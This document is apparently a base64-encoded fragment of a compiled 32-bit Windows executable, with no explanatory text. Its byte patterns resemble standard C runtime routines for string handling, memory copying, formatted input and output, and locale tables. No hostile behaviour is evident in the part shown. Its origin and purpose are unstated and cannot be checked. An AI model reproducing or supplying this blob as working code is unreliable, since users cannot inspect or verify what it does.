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
